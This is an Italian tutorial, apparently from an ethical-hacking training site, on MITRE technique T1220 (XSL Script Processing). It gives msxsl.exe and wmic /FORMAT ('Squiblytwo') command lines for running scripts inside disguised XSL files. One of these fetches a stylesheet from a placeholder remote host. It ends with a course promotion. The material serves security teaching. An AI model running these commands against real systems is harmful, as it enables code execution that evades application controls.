Script XSL Mascherati: XSL Script Processing (T1220)

L'elaborazione di script XSL rappresenta una tecnica sofisticata per aggirare i controlli applicativi ed eseguire codice malevolo. I file Extensible Stylesheet Language, normalmente utilizzati per processare e formattare dati XML, supportano l'embedding di script in vari linguaggi di programmazione per operazioni complesse.

Gli attaccanti sfruttano questa funzionalità per eseguire file arbitrari attraverso binari legittimi di Windows. La tecnica si inserisce nella tattica TA0005 - Defense Evasion, permettendo agli avversari di mascherare le loro attività malevole dietro processi fidati del sistema operativo.

Attualmente 2 gruppi APT documentati utilizzano attivamente questa tecnica, con almeno 1 malware che la implementa sistematicamente. La versatilità dell'approccio permette l'esecuzione sia locale che remota di payload malevoli, rendendo questa tecnica particolarmente insidiosa per le difese aziendali.

La prima variante sfrutta msxsl.exe, l'utility Microsoft per le trasformazioni XSL. Questo binario non è installato di default su Windows, quindi dovrai prima includerlo nel tuo toolkit. Una volta disponibile, puoi eseguire JavaScript malevolo embedded in file XSL con sintassi apparentemente innocue.

Il comando base prevede due argomenti: un file XML sorgente e un foglio di stile XSL. La bellezza di questa tecnica sta nella sua flessibilità estrema:

msxsl.exe customers.xml script.xsl

Puoi addirittura usare lo stesso file XSL due volte, poiché XSL è XML valido. Questo riduce la complessità dell'attacco:

msxsl.exe script.xsl script.xsl

Una caratteristica particolarmente subdola permette di camuffare i file con estensioni arbitrarie. I controlli basati su estensione vengono completamente aggirati:

msxsl.exe script.jpeg script.jpeg

La seconda variante, conosciuta come "Squiblytwo", sfrutta Windows Management Instrumentation (WMI). Questa tecnica è ancora più potente perché utilizza strumenti nativi di Windows, eliminando la necessità di distribuire binari aggiuntivi.

Per esecuzione locale, il comando WMI con switch /FORMAT diventa:

wmic process list /FORMAT:evil.xsl

L'esecuzione remota è altrettanto semplice, permettendo di hostare il payload su server controllati:

wmic os get /FORMAT:"https://example.com/evil.xsl"

Nel tuo laboratorio, crea prima un file XSL con JavaScript embedded. La struttura base include namespace XML e un tag script che contiene il payload. Testa entrambe le varianti per comprendere i diversi indicatori che generano nel sistema target.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo